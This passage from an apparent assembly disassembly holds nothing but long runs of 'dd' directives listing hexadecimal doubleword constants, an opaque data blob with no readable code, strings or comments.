		dd 0E18EC088h, 0F72BFF40h, 4F6014B9h, 0FA4B1256h, 0C9A40070h
		dd 956D2EFDh, 8F008E10h, 1428A976h, 0CC3DD5h, 37BFB4AFh
		dd 6451F0Fh, 0F83A8878h, 71840252h, 0E09AF549h,	7EB71271h
		dd 7E260007h, 0E1DC4A4Bh, 28907F61h, 0EE943605h, 9000CDBCh
		dd 722F7CE5h, 0A62800F1h, 10F93FC9h, 6A00D32Bh,	58878B80h
		dd 0D667D9h, 0AC542F04h, 0A3A04C7Ah, 47C80E00h,	5AB6D07h
		dd 98A7001Ah, 0AF97E66Ah, 0E7004D27h, 0B731C15Ah, 140D42EAh
		dd 8891A7C7h, 0D8ED0200h, 0CDC230D7h, 0CC612200h, 0C8937794h
		dd 0C1C70044h, 0DA9201E7h, 1F0E7FB3h, 0C06BC295h, 0F9261EAFh
		dd 0FAD50FDEh, 0F8402A8Bh, 9823AA18h, 7DB12900h, 24DF47E0h
		dd 6BD53DE7h, 0D8127080h, 8A88C743h, 68002C77h,	0AC5DC1F9h
		dd 98B78B9Ch, 2CA1260h,	0B410AFA2h, 0B2F402C8h,	0F5CF5AECh
		dd 0DD9A0060h, 9F1E3900h, 962EF53Eh, 30FC0011h,	425B57BFh
		dd 0FF01382Ah, 0A01C731Bh, 59F1105Eh, 1E609AD0h, 407AF887h
		dd 0F58FF168h, 0FA00B36Ch, 19B17B36h, 5E82EFh, 53FBCC5Bh
		dd 5D561304h, 75CE4800h, 0D9E63E4Eh, 0F1200003h, 3DF874E5h
		dd 400504Ah, 0B642D144h, 1DB3076Ch, 4F06C0h, 37134C64h
		dd 6300C238h, 72C7DB44h, 0F77677h, 616C0ABBh, 0F9A95187h
		dd 53DF3400h, 15D29F0Dh, 5B00956h, 2084AEE5h, 7D0EC003h
		dd 6400C793h, 0CA9DC286h, 7CD187h, 58C58D1Eh, 8A63662Ah
		dd 260014F2h, 126D9255h, 4018769h, 59EFF9EBh, 0B87C91C8h
		dd 50D0DC5Eh, 0D73CC212h, 8FE54400h, 71607BFh, 0A836D857h
		dd 0CE68B02Ch, 863DE03Ah, 0FBBE8495h, 4C807A6Dh, 15CA2Ah
		dd 8C3A0709h, 55A134Ah,	0B730C500h, 7C9BE717h, 103D602Bh
		dd 227BA9C7h, 5DEED500h, 0B3091B24h, 0A2980035h, 0F5886283h
		dd 4C0041ABh, 52A008F0h, 96FFDCh, 0AE9C9B73h, 0A6912F80h
		dd 403338h, 0D07ECC57h
		dd 24010205h, 549298h, 245022BAh, 0AD00F0FBh, 999697AEh
		dd 79F343h, 0D4B844FEh,	0A6BFE841h, 21C78D2Ch, 0C2511500h
		dd 3DF189Bh, 0E3CC55B4h, 0EEE04172h, 3F0F3968h,	0A106E811h
		dd 316FD8AEh, 13C70FC4h, 25FB13h, 8AEEB6B8h, 34016688h
		dd 0CA5715BAh, 988024EAh, 30EF431Ah, 8001C64Ch,	35E3AF70h
		dd 9DCFACCh, 0B50E03DAh, 883DEFD6h, 0EBB283C8h,	6660E613h
		dd 0A541B800h, 0AFA1B0Ch, 1C8BDEC2h, 80D51ECCh,	651AF5DFh
		dd 4BF0B2EFh, 1B3DB600h, 0FD7259A7h, 406760F9h,	88C9A0DEh
		dd 16B23700h, 830B4B7Fh, 226A0034h, 2890C243h, 0A139F6D5h
		dd 0CBE802Ch, 182ADFDBh, 0BA747Eh, 0ACF884CCh, 0D6EC3067h
		dd 3867700h, 6B3FF75Eh,	0E2080237h, 60CE9ED3h, 6F9C0C80h
		dd 480033D8h, 0BEFB39ABh, 1FC4E2h, 0D1215999h, 5FA4A15Dh
		dd 8ECB9502h, 0C015EEC3h, 1F5A07D8h, 0C4A05541h, 0D0318B4Dh
		dd 0B76E780Ch, 2B470F00h, 323AFE07h, 25ED007Dh,	11C78A3Eh
		dd 0F103DFC2h, 83E99EE0h, 0E0E7D26Eh, 90853BDFh, 9A65167Ch
		dd 779F00E8h, 0F6A85874h, 2E3C79F0h, 0E3BC0016h, 231C814Fh
		dd 66D0099h, 0B8D6A389h, 6B7F6205h, 0CDEC7800h,	0DA3FEE50h
		dd 0FB3CE68Dh, 1824DF8h, 2A660502h, 0D4747AFAh,	0B73C7026h
		dd 0C6E48030h, 9CA4585Fh, 0E255000Eh, 0D89DF20Dh, 0A807A7EEh
		dd 0BA3F8B21h, 0E83A0379h, 0B9759062h, 0DC1D0330h, 38E76384h
		dd 0A9B7C7F0h, 141E0A00h, 0E6C42A31h, 971D00BEh, 7DF7B443h
		dd 5650307Ah, 37001ED6h, 0E11FEF4Eh, 73D59A75h,	1F098B7h
		dd 7691D12h, 0DC9E3246h, 6400FC71h, 5438A367h, 0D8D1B7h
		dd 36100211h, 32A50F8Fh, 0BFE33C00h, 0EF69304Fh, 0BC0A00E0h
		dd 4728A33Ah, 9E40F35Bh, 7630042Dh, 86E126DFh, 3E2E69A7h
		dd 65018F93h, 0B12DFFA1h, 13DC92DDh, 74AA0091h,	3D0CD898h
		dd 90B8D4B9h, 421DDB02h, 0E0F10241h, 3F580D4Ch,	0FF13B5F9h
		dd 0C98C00C5h, 0C3B1059Eh, 2F014900h, 0ECFB118Eh, 132800CCh
		dd 0D4E70FE0h, 9803DDF8h, 0A1A84473h, 0F41D9826h, 950D0456h
		dd 0C0D646B4h, 4EE9695Ch, 0D796C000h, 0BF3E421h, 8194A1CAh
		dd 771C9032h, 3C57400Ah, 98211260h, 4261DE00h, 6C4BBB02h
		dd 6DC803D0h, 19107972h, 0DF1C3FE8h, 164FEB01h,	154A88CEh
		dd 3EF80471h, 0B61807B0h, 302FF406h, 9D245F60h,	0D9507C13h
		dd 0BFB3BC00h, 3E03Eh, 0E8A4D06Eh, 0D7E40244h, 0F9A0290Dh
		dd 4460ACEBh, 0ED3D009Eh, 0A18FA4B3h, 1EE6B1B6h, 86C96095h
		dd 3E479E8h, 2F2E487Bh,	85B83388h, 0FA00F125h, 979AFDCh
		dd 90503667h, 8E7E68h, 0F75D891Fh, 2195AD06h, 0D71A3D00h
		dd 0EEB02065h, 1B62E473h, 291DB877h, 0DBBB2F80h, 7A064D04h
		dd 6F031EB0h, 74B256D2h, 0B2213CE0h, 385A3903h,	2260C402h
		dd 17782868h, 0E2C65400h, 0C28A38DEh, 5B3010Eh,	61E46E7h
		dd 30CFCCCAh, 0D2EAF8A0h, 27DD50Eh, 0F149406Ah,	6F0EB7h
		dd 0FF404BD3h, 0B6911B83h, 2B0C9300h, 43E9D08Fh, 7C850084h
		dd 8A6B718Ch, 1C01E4B4h, 18FAE9Fh, 8C304FFDh, 6C4A0EA5h
		dd 3C439311h, 9BA83DB3h, 1400F451h, 309A49F3h, 68DD44h
		dd 1CF8EBE7h, 350F788Eh, 0E46AB103h, 7657DBh, 0B6C57711h
		dd 0D8713237h, 300748h,	6BF2C886h, 162ABFh, 79AE9450h
		dd 753876ADh, 86CAA48h,	24335DB0h, 0EBF10001h, 38B134E2h
		dd 0DBF7612h, 0B78508Ch, 11ED1EF2h, 108C0000h, 0D307C822h
		dd 0A1A4B80Bh, 25491D80h, 0B9F2D9h, 781E504Fh, 691B9384h
		dd 96759500h, 18708F66h, 0B890E6h, 27D67AADh, 0C346268Eh
		dd 4D00D57Ah, 6E4F9A4Bh, 61A001h, 0EC0541F1h, 191438D9h
		dd 112DC500h, 24BE1694h, 34EB0343h, 25F980ABh, 95D280DFh
		dd 3A00D893h, 4CA7EAB7h, 908C716Eh, 0F2DEFCACh,	77F2E0C7h
		dd 0B83726DBh, 0F8630925h, 51973440h, 3EAC817h,	72654A02h
		dd 8EC9607Ch, 0ADA9006Fh, 0DFFA4A44h, 881268D4h, 3080B394h
		dd 4437F5EDh, 920F2AE0h, 21DA36D1h, 0A6ACBFC2h,	1C7BD0F4h
		dd 0D3228288h, 0C1448068h, 0A51DBCFBh, 18C349ADh, 0BCE47D86h
		dd 0D4BAC880h, 5AE900A7h, 1B990339h, 0B6003C0Dh, 0C8EBE40Bh
		dd 90D4AE3Bh, 0CAE10003h, 711D483Fh, 7A0CD6D2h,	280F38CFh
		dd 0CB91462h, 0F300B86Eh, 2AE7592Ch, 98008CFFh,	0D1C37F30h
		dd 60B325CFh, 26EF1091h, 0A1009EF4h, 0F3389C90h, 3AF1700Dh
		dd 723C934Dh, 8600A15Ch, 2844129Ah, 2700A557h, 0E697FC9Dh
		dd 8FE5Bh, 8A4E131Fh, 0E2805C23h, 674E1E2h, 35E5300h, 0F1B54414h
		dd 45BD0075h, 0E3E794Bh, 2300689Bh, 76D5810Ch, 0E94601h
		dd 0AFF0B41h, 9CA38698h, 0B01F3500h, 28DF4451h,	3C9148FEh
		dd 6521409Dh, 66CBB35Fh, 2D7141EAh, 4A006C90h, 0E2DDF6F1h
		dd 0A92089h, 0CF3057D1h, 5F63EBB3h, 4CB83BE4h, 4AEC1A00h
		dd 6049992Fh, 5C650073h, 6A4D11ACh, 0FD7005D6h,	622F1413h
		dd 1DE03C14h, 0A8002A85h, 0E3111798h, 9F7E0903h, 0DC019D45h
		dd 0CD209390h, 9EA82034h, 94ECC800h, 8828F8DDh,	0C1FB00B6h
		dd 565790F1h, 2300C9BBh, 59B93BD3h, 690AF7h, 3C8D5EEAh
		dd 0FD429A24h, 5F62DC05h, 0E280836Bh, 0E1F803Dh, 0B4484361h
		dd 0C865CAE0h, 0CC0026E8h, 0F049D8AEh, 0F401F163h, 696F1E8Ah
		dd 8064DEC4h, 655F12C2h, 491E7BF7h, 0FC800C14h,	0AE6D4F7Dh
		dd 61E800EEh, 0A9945F7Ch, 8818CD3Ch, 10112AC7h,	0DAFA86h
		dd 0C4960F34h, 0AE747DC2h, 0E7886700h, 8E611476h, 0C63B075Ah
		dd 609759BCh, 8835ACB9h, 2C1EA800h, 80A61899h, 0B38300F7h
		dd 0FA044234h, 6A00C410h, 5BBAFCD2h, 90C6997Eh,	0E861FBD8h
		dd 0D5CAF600h, 845800EAh, 708B7F7Ch, 0B9008F6Ch, 0D2A0493Fh
		dd 292897BBh, 0E89A5Dh,	0ADE7013Eh, 4BE49412h, 20E03Eh
		dd 0B130802Bh, 0B94FF875h, 0D6ED0018h, 0B85744E0h, 14FB5Ch
		dd 9928A4AAh, 738A2DEh,	3EE3E848h, 40EED008h, 0DA07EF0Ch
		dd 966D303Fh, 649DA220h, 0E1E700BAh, 0E2580217h, 0F63D6A5Ah
		dd 99CC8E8Ah, 385FE02Ah, 58E8D74h, 0B8D5E0B4h, 0F840C086h
		dd 8400E91Ah, 16A30F3h,	0EA29AFh, 0ABF07668h, 48CEFD3Ch
		dd 0DCC6200h, 8D3D0882h, 2E6F0043h, 4DA4A2DAh, 2AEC3E6Eh
		dd 0CC964A00h, 0F78ABE49h, 0AE9003D4h, 29D9C7B1h, 0B7A660FFh
		dd 5100DD42h, 67B02E6Ah, 47B63CEh, 5C1AD022h, 0C11E40BDh
		dd 6A1BA2h, 957592DAh, 0ADC340C8h, 0D330AC09h, 674A2DDh
		dd 0C7B7C0F2h, 484F86h,	218714E8h, 0B4926E6Ch, 78AC9C05h
		dd 0BC00825Fh, 0DD8A4B91h, 32890026h, 8FA3BC35h, 0FC00703Ah
		dd 59B48D03h, 2CC9C4ACh, 73415F9h, 500748h, 9255FDCAh
		dd 0D26D1700h, 7C9B3577h, 564758Dh, 0BF1B26B8h,	857C81E3h
		dd 2E1A20CAh, 0D67E85B8h, 9609D21Ch, 0B3871600h, 90CBDD1Dh
		dd 53810073h, 0A2638D7Ah, 0C116335Ah, 3C00B67Fh, 0E3CEE131h
		dd 2DDF0027h, 32C44418h, 0F07A311h, 660C2A88h, 0A09380C0h
		dd 341B07BCh, 0B374CC2Ch, 0CDD07A73h, 8401691Dh, 0C5548ABh
		dd 78D8D8E4h, 636000A8h, 9B4F358Fh, 1800D4C5h, 7DCABA6Eh
		dd 2999F3h, 0B51A0DD8h,	77981284h, 0D3EE0300h, 56AB1683h
		dd 0DE350033h, 0D11BC891h, 0EEE03E14h, 80367125h, 345C960h
		dd 0CAC800CBh, 81BC8C5Fh, 5500F476h, 88E37513h,	1C9EC3F2h
		dd 0C0B96E28h, 12D6241Eh, 0CD001B10h, 2296AD5Fh, 5D0944h
		dd 9A9F4A1Ch
		dd 11C92D5Bh, 0F82AA83Ah, 11494132h, 0FDCB021Ah, 0F2A010A0h
		dd 5D00340Bh, 7D9C8C29h, 304A247Fh, 11A02F56h, 550789A1h
		dd 8DC2AFF6h, 684AB88Ch, 802C201Eh, 10086A61h, 12EE50DCh
		dd 0A354AEF2h, 3F844B18h, 0CE980AA6h, 0A7A238E1h, 889BBE29h
		dd 1431160Ah, 7070210h,	60AEA789h, 12D87372h, 64DBBC00h
		dd 56C80608h, 27C40034h, 0EA58DCF2h, 25009C13h,	111B0954h
		dd 3A7A8364h, 0E4007406h, 0E8DD9644h, 0AC034768h, 36401B0Bh
		dd 1CA1986Fh, 20612C82h, 0A57807FDh, 0D33AE02Ch, 1024D605h
		dd 4C00326Eh, 33E56281h, 931C3C38h, 0A8B34400h,	1D86D36Ah
		dd 0C50F7500h, 2E704807h, 0C81E1DBAh, 0ADDE800Ah, 72305250h
		dd 4C00BB4Bh, 77449B51h, 11F9CA12h, 8095F04h, 0EE4605Bh
		dd 0EBD20091h, 45826A59h, 70009885h, 203C9D93h,	474CDA3h
		dd 2236A615h, 7C8C865h,	4BBBD00h, 0DE3C1197h, 9F1F1D27h
		dd 4F2F84ACh, 6110C07Ch, 50829BFCh, 6F2B07E4h, 436A413Dh
		dd 0C9F82590h, 617F10FDh, 21C74A00h, 0B8B9E0A6h, 77F32EAEh
		dd 0AA803E9Ch, 95FB98DCh, 1F009CA8h, 16469EA0h,	3903CC50h
		dd 86002B9Ah, 2AFC8D9Bh, 0F5004D83h, 9F25C2F7h,	11EB6Bh
		dd 5B1262DAh, 0CD82B896h, 0A840834Bh, 786E02DBh, 1F8E00C1h
		dd 93192D95h, 51000EC3h, 68162CDFh, 0CC4FBE4h, 7F566BD9h
		dd 1D001768h, 33AA44D7h, 71B9DDA4h, 0C7960010h,	28E42B5Ah
		dd 140038DAh, 653A6F13h, 1F682473h, 0C05AD858h,	55E9C790h
		dd 20A5274h, 84B50DBBh,	5F339800h, 56CABAAh, 1E4C5D31h
		dd 0FCD80B10h, 0D4E66702h, 0D8945CD8h, 93C8C07h, 600BB222h
		dd 0FB86A8h, 0BA1360E8h, 64F7536Bh, 2F665B0Ch, 0F4B860A5h
		dd 8B8A107Fh, 0CC6C2CFCh, 80DCDF8Eh, 0E50F159Fh, 3E1300C0h
		dd 0D61003D5h, 2406755Fh, 4B417608h, 0E7462CAEh, 240025B8h
		dd 5ACD7184h, 0D96EE100h, 9957911Ch, 0F94E0533h, 3CBD17h
		dd 19CFA398h, 4201E07Ch, 3189C0B0h, 18C8F0F7h, 0E5E300A7h
		dd 21A5827Dh, 7E0384EAh, 25D748CDh, 0ED77FF60h,	9D684B51h
		dd 0E5E9AD4h, 3EF62A97h, 1CD6C960h, 88E2C555h, 525B0900h
		dd 9D1E3A94h, 969A0225h, 9B89BC4Dh, 0D15044E0h,	0FA76BE00h
		dd 0C7FDC827h, 9F820014h, 8D8EE528h, 0B000D856h, 0AA16B23h
		dd 7DAAF1FAh, 0B8BD0416h, 87DED60Ch, 25A75F9Ch,	0DF7FE0E2h
		dd 730176A3h, 0FB7281B7h, 0F730E55Eh, 42E900C5h, 0A56CC94Ah
		dd 27122A73h, 6800D61Ch, 16AE8202h, 0DEDF3CD2h,	190F980h
		dd 6DA4E6CEh, 0A5139500h, 874B968Dh, 0F1764091h, 38E43A7Bh
		dd 71EDFC0Fh, 221BC0D6h, 7E05760Ah, 3FEA0241h, 94CAA715h
		dd 4D1FD054h, 896ED440h, 77F40E9Eh, 3C14F6B1h, 60028A6h
		dd 0A229A3C7h, 0A900D2DAh, 23DD7DCh, 9D81E3ADh,	7226EF50h
		dd 0F493405Dh, 0FE9C6C80h, 972000C1h, 0BBEAE4DBh, 63006B2Ah
		dd 30D6EE07h, 0E82FD0h,	0BC9B4B9Ch, 9EA88EFCh, 6BFA2C90h
		dd 0D2C08BCh, 0AC854407h, 4D8A78ACh, 0BC004CE3h, 9364A3C8h
		dd 75007CB7h, 0CD122C8Ch, 753C28Ah, 0CB5F9CD8h,	0C7222518h
		dd 54FAF285h, 0A740C50h, 0E83AEF70h, 88302461h,	4880F000h
		dd 81CE5Fh, 8EB13469h, 0A489D838h, 5C22430Eh, 0CDE3E1F9h
		dd 0D9DC8751h, 2B3C00EFh, 4D033BFEh, 0A8007501h, 0BC44309Bh
		dd 85EA4Ch, 7659FB12h, 6CA9E622h, 560037ECh, 735D5CB9h
		dd 0FC897E5Fh, 70BCE36Dh, 20507F80h, 8B19F00Ah,	0C73D8700h
		dd 795EB5F6h, 732C0F69h, 7500D5A8h, 3D05D21Bh, 0C400957Eh
		dd 3A18D6F0h, 14EF1FCh,	777625F8h, 539FC3BDh, 79A02998h
		dd 723CCC14h, 22062D2Dh, 28C2364h, 66C0DCC0h, 1F00993Ch
		dd 0BE6C2BE4h, 575AD2h,	3990538Dh, 0AE7A07A1h, 46F09407h
		dd 0B41343A5h, 0B115A997h, 0C883B121h, 0CDB03678h, 3B610F90h
		dd 0D6C5AB0Ah, 1560D41Bh, 7CD2C3A3h, 5B0C01B2h,	0EA12B5A2h
		dd 836864B6h, 48B4D8F7h, 0FC490226h, 0D9137D00h, 0E54E995h
		dd 0A59A4089h, 10B7EF47h, 513548ECh, 0C11C74F2h, 0A0C08172h
		dd 0B0DAC8F9h, 742A5C58h, 1BD2FD03h, 39C856C0h,	148C58Bh
		dd 0DEFE04B5h, 0F887128Ah, 0B0C95CB0h, 0CB240083h, 0B57DC81Ch
		dd 6301D7B3h, 0C154A820h, 20644996h, 0E5AB0087h, 7F7B326Dh
		dd 500904CFh, 2041FA6Eh, 96450284h, 0F1180F34h,	0C9610C8Eh
		dd 438F5281h, 89D00DB8h, 0BA00632Ch, 4FB3E696h,	0EA036533h
		dd 0C05600D2h, 0B13513B2h, 8C0C3B3Fh, 1014AEC3h, 556400B9h
		dd 0AC3E2252h, 13B43F3h, 7FB004CBh, 0B8801C21h,	3CB293B8h
		dd 0F200984Ah, 48412053h, 0A90FC607h, 0E0135605h, 25BE74A0h
		dd 0AC673AC2h, 0D34B8C00h, 0EC769ECFh, 0A8883D00h, 0AD61F398h
		dd 4E080146h, 0AF72D4Ah, 47A0DC71h, 147B7300h, 0CF952026h
		dd 253F074Eh, 32C984h, 0F75FA564h, 9CC5ED02h, 0C0CC576Eh
		dd 0FA82B3h, 876FE3D2h,	0A576E9C9h, 0E595CE16h,	0A0BB7497h
		dd 0F0B40708h, 7B61005Ah, 0F494867Ah, 0EF004226h, 40B25650h
		dd 8A9548h, 0A0B9E6Dh, 4C1A8F04h, 3801FC7Dh, 77960DB7h
		dd 0A8D0D6F4h, 561800C2h, 5E21E47Ch, 20282CCh, 93B71984h
		dd 8165423Bh, 0BC2D334Dh, 305DEE4h, 0A62B6FADh,	7680A7E9h
		dd 2500DB11h, 4ECBA345h, 3F3EDA2h, 790E787h, 0FE805C7Ch
		dd 627174EFh, 31A34413h, 0C53ACA01h, 0A47429E5h, 90904C7Bh
		dd 35F39D0Fh, 653BC487h, 0A888C0DDh, 690254CCh,	7372B209h
		dd 745663h, 0A20C94BDh,	0AF717412h, 0DD532900h,	0A00450D5h
		dd 26A6728Bh, 858C07EEh, 0D0166E64h, 246790DCh,	87952500h
		dd 0A937E22h, 10DA505Dh, 142018Ch, 5C50DC0Ch, 3051D40Eh
		dd 2A301272h, 71825103h, 8EA09416h, 9F800AA7h, 288F568Ch
		dd 0F63FB502h, 0E0E7AE17h, 793A97h, 23F82F46h, 0C7B015D4h
		dd 0A98DF91Ch, 0E81F1200h, 1C952D2Ah, 707D07EFh, 2F5648A0h
		dd 0FE4CFFEAh, 88123000h, 60FA866Fh, 0A7A070E1h, 504A47E0h
		dd 0C12FC56h, 0C40C0891h, 0C6C8C08Eh, 54005B8Fh, 4E42EC2Fh
		dd 0F1E03700h, 0E996FD10h, 229005Dh, 1F1511CEh,	917D62EEh
		dd 6401D398h, 0C85DAE7Fh, 2FE85F8Ah, 80450004h,	0F4539E4Ch
		dd 3600AA6Dh, 0F055B8Bh, 0F99DE2h, 0AE6AC279h, 24C0C141h
		dd 0B9B64E0Ah, 9B00CBCAh, 81D9A2E7h, 0B35C07F8h, 3001AA30h
		dd 0DABD4A66h, 3A95100h, 0FDF225B1h, 0B97F7Ah, 6C4B825Ah
		dd 50B275C3h, 4AC8D400h, 27A6ACD9h, 8BC200A0h, 5ACB425Dh
		dd 6638648Ah, 0F13D819Bh, 2BEBBB79h, 29000028h,	0B2D6E8B6h
		dd 84265E16h, 0EF80486Ah, 9EB12E0Ch, 3CC70BBh, 6BBE8F36h
		dd 0B4E010D4h, 0E21E910Eh, 23AB120h, 690207F8h,	31B88068h
		dd 10FEFFFh, 9A7CDC87h,	0F0CAE063h, 4231912Eh, 0BC7250F0h
		dd 4FE034h, 59CBD7AAh, 32F15129h, 0AEC78301h, 0B890FC11h
		dd 1A701880h, 9BA9867Dh, 8524A81Eh, 0DE61110Eh,	57AA7E03h
		dd 2F281C90h, 78641EFh,	0D1DC118Bh, 441880BDh, 6134BCDh
		dd 34C32570h, 0C10060BCh, 65B1226Bh, 7A41D61h, 0FFA4F87h
		dd 9923C0B6h, 0ED0028C3h, 83DEC89Bh, 4C70A6h, 72A31275h
		dd 688A8278h, 0BE9A7D00h, 34B42667h, 9C88A03Fh,	14491E6h
		dd 58E9C769h, 0CE40EE0Eh, 8CCD64Ah, 4E21BDh, 0B4EFE99Fh
		dd 0D28AE540h, 0F05BFF30h, 1FDFE294h, 1295A57h,	97DA7E09h
		dd 82E8838Fh, 15123D2h,	0BBC1128h, 0F607E748h, 7335D480h
		dd 9904A1BEh, 0F7EB0989h
		dd 87A804D0h, 0F4F955EAh, 0AFB741DAh, 25D3F440h, 9FA90CC8h
		dd 0C920D76Eh, 305C8505h, 2038EA78h, 29846D8h, 0A1C96B38h
		dd 14640Ch, 9B5581FFh, 30F64D8Bh, 0D809646Fh, 3E791F21h
		dd 5C012655h, 0C06FAA93h, 0B5F18259h, 72712D34h, 96F100DCh
		dd 9F937FC1h, 921D8D22h, 0D18246Fh, 9ECB21h, 0D927A5C1h
		dd 0AD537649h, 0B254BD00h, 9B4A89A4h, 0CA98A080h, 310802FCh
		dd 0CC3D708Bh, 471110C1h, 0C964E39Ch, 7F60209Dh, 8B239555h
		dd 13117Dh, 7855771Dh, 0BE7EB42Dh, 98003E9Ch, 0AE0E3F66h
		dd 9427B884h, 0A538C061h, 9C79032Ch, 0CA7F0D5Dh, 0AD290800h
		dd 16465696h, 0E4B80151h, 0C9665EF3h, 824448A2h, 8B965508h
		dd 7A247075h, 0EBDD20C3h, 52E8FE5Fh, 9F2A0B3h, 9D2E5430h
		dd 1958F7F0h, 8D8A8050h, 0BB2A3CFh, 12790FC3h, 9710ED81h
		dd 6ED8236Fh, 97853170h, 0A73082C1h, 34E43890h,	1D9FD280h
		dd 804E1FC1h, 27CC8966h, 3F1A55E6h, 42602A16h, 96A88440h
		dd 3EE9D067h, 4F432C0Eh, 4C5CC122h, 810D0120h, 8B9809DCh
		dd 483F2C20h, 5903A45Dh, 0EE027EC6h, 0C087603Ah, 0A40E8C9Fh
		dd 920E59E9h, 87D838h, 0FBBBE99Ch, 86BF444h, 89D80A05h
		dd 448817F2h, 8EF6035h,	7D7AF1E2h, 87802448h, 4190DF61h
		dd 1EAFC98Ch, 2ABE45F7h, 0F3430F8Ch, 9C2915D9h,	60A04404h
		dd 21945724h, 46C0458Bh, 31B2557Ch, 95A98EE6h, 7908840Ch
		dd 40905E1Ah, 7508FEh, 0CA2E3096h, 32DCBE18h, 0EFBF6600h
		dd 5BA54658h, 949F03F3h, 67337F2Ch, 0BCBB390Fh,	0DAD00197h
		dd 43D04E70h, 8FF718FAh, 0B9E78989h, 0FD0479C7h, 5A034790h
		dd 82BE0FA3h, 1A80C0D6h, 772EE1E2h, 0ED8FB21Fh,	59FE3FC1h
		dd 0DEF0A481h, 0A7AF0010h, 8B162D42h, 0CA3EA189h, 1A7C0A86h
		dd 0EA8AC30h, 0A7B1CC0Ch, 0CCB0287Ah, 66A95931h, 89CC5700h
		dd 14FF22D5h, 0AF600525h, 8DE858Fh, 0A3C0A0F4h,	460E54E9h
		dd 126610BCh, 0E99B8A00h, 0CEFBE3F7h, 6A57A900h, 94C05431h
		dd 0FAE01C38h, 9BC48993h, 1A8C5880h, 8491CF0Fh,	93805811h
		dd 0C794F2C1h, 0D6E6448Ch, 91C19B00h, 0AE9FE199h, 7B098EBh
		dd 0AA5AE9FBh, 0CB2B2134h, 68B8B1C7h, 6E07CEF3h, 91121BA0h
		dd 0D8B07E50h, 0DEA07A09h, 574501Eh, 0EA89C6FCh, 0A1A09057h
		dd 261C9FA7h, 7F00CD0Eh, 1AC5E594h, 205A6521h, 23B83ACCh
		dd 0AE880061h, 0ACE4CFB3h, 90B41913h, 897A1C20h, 0D0FF690Eh
		dd 0F42F88Fh, 0F08BDCh,	2B653707h, 2C90A2D3h, 0B9FBA88Ch
		dd 0C4CD3E04h, 250554B8h, 0A72A7B36h, 0EE5318D0h, 9F51C85Eh
		dd 9156F3C0h, 0F41D218Bh, 413E1B91h, 4765580h, 182BC595h
		dd 1783161Eh, 0AB434ACFh, 2550A0A8h, 0C1292FDEh, 83AA7A70h
		dd 9C6042BEh, 98558030h, 0F4252B47h, 78428160h,	70E3B355h
		dd 0A66184C0h, 599147C1h, 8808CB14h, 1289C01Ah,	0A47D8D02h
		dd 9E82370Fh, 47A3C3B0h, 8AC6B299h, 6E0920CCh, 0DE88A221h
		dd 4004C7Eh, 0A7C7CC59h, 205D626Ah, 65CC516Ch, 0E92419FEh
		dd 9011B079h, 40EDA41Eh, 0C881D7A6h, 7EC18FEh, 76A180F5h
		dd 306BDC19h, 2C9A0093h, 0F131371Eh, 0CCE24305h, 0C87E5701h
		dd 0E00A80EAh, 978A897h, 0AC3056B0h, 2811C18Dh,	0E088B795h
		dd 0C140D09Fh, 4EC0E3E4h, 0B20180Fh, 52D78108h,	2D373B06h
		dd 511372h, 0BACB3A07h,	7E2609D6h, 0F1E87330h, 3134ADE2h
		dd 5E11A812h, 0DF49855Dh, 7C8BB481h, 44C0E6C8h,	0EF0B4B2h
		dd 845D9B7Eh, 425A5179h, 0C88303C3h, 89D5ED8Eh,	0E2C447D0h
		dd 0E0400FB6h, 19C01472h, 36085AFFh, 1820042h, 3CED525Bh
		dd 0DA753FC8h, 5A848CBh, 0A41DFCF9h, 0FD5A41C6h, 87E40218h
		dd 601B516h, 189A9061h,	2C4198CDh, 7084CC0Eh, 0E909A588h
		dd 0A977B9E4h, 0C6788038h, 596A3F54h, 9B88E034h, 3DE9C8C0h
		dd 2284460Eh, 0A05B01BEh, 33ABD5E9h, 2342463h, 18F8D176h
		dd 0B42A4F00h, 0B5FB3965h, 8E451457h, 56108CCCh, 7910060Dh
		dd 4980265Ah, 9B820EBh,	0D4003543h, 1C644E20h, 7840D05h
		dd 1D0ACDB2h, 44329066h, 0AE24102Dh, 854110E1h,	80051268h
		dd 63ABEDF8h, 0EF664A03h, 64335Ah, 0E2CE4CD9h, 0D4E2A17h
		dd 0D6681400h, 7642D7D3h, 9CA414D8h, 9403FC89h,	85A20460h
		dd 8AABA0C7h, 0C32E5E9Dh, 0DC4B2C8Fh, 0B4A51519h, 5BE9CA80h
		dd 0E0ACD40Eh, 89BC44h,	86B6E9A2h, 0B4EC275Ah, 8D9219C0h
		dd 0F297E10Eh, 0B10500F4h, 9EDA5D0Dh, 0ED129458h, 48201047h
		dd 25295695h, 3C1B8FADh, 2C4DE3C2h, 0D560C264h,	0A81FC0E7h
		dd 25069F85h, 21B5E5h, 592482B7h, 5547DB54h, 76B43C01h
		dd 5C051A85h, 2F237C29h, 81C19C00h, 86246F93h, 0D10A44h
		dd 3AF1C1A4h, 2FF22E04h, 0CE89364h, 81763B45h, 93456F2Ch
		dd 4C60B260h, 1123944Ch, 30B4AEFh, 59788CA9h, 0DE60A8B6h
		dd 5D5C38F9h, 0E915F682h, 0F841C6E0h, 46C412C9h, 0FBE213D4h
		dd 20C08943h, 0C89B8B05h, 0C8CC5A01h, 521872A7h, 0CCD56B89h
		dd 9248ECh, 38827928h, 27D2951Eh, 295A6502h, 0E5B4FADEh
		dd 350AE250h, 0E442E218h, 4C8A1CE6h, 88CF5289h,	4E010110h
		dd 0A1684795h, 0D2F4B8C4h, 0CCAB4896h, 94DC2614h, 238C2F4Bh
		dd 0D98700BEh, 0C953DBFDh, 0C15C84B0h, 11D0C858h, 0CC568077h
		dd 8C52A7A4h, 6F5444h, 30B1082Eh, 4FE2E9D2h, 904DDA17h
		dd 0EEDFFB01h, 0A029E878h, 18E01F04h, 7E0815Dh,	9DD8500Ch
		dd 6704EA91h, 7CDBA161h, 9EA2E880h, 0F2080F60h,	712EE2Bh
		dd 0CF8154DCh, 474E3521h, 1D42277h, 3969D29Eh, 0C4C61021h
		dd 279DFE28h, 400486ECh, 572660A6h, 158B1092h, 7E48B0F4h
		dd 89D00555h, 158EF4Ah,	6FE1B18Ch, 0BC82CEBEh, 4C7293B4h
		dd 34609009h, 4ACF8621h, 87320B21h, 81C1476h, 2156BC94h
		dd 46801265h, 8D6E28E2h, 19C33BBAh, 3E890F86h, 5E1260FFh
		dd 0E80B9CB7h, 9168976Ah, 0BA278018h, 0C02A95B8h, 0FCEAF8D1h
		dd 987CECh, 9C88B92Eh, 9CF27A02h, 811845C6h, 1B0B9F5Dh
		dd 3A94102Fh, 0A37416F6h, 0EA6C20EBh, 640024E8h, 0A148411Ah
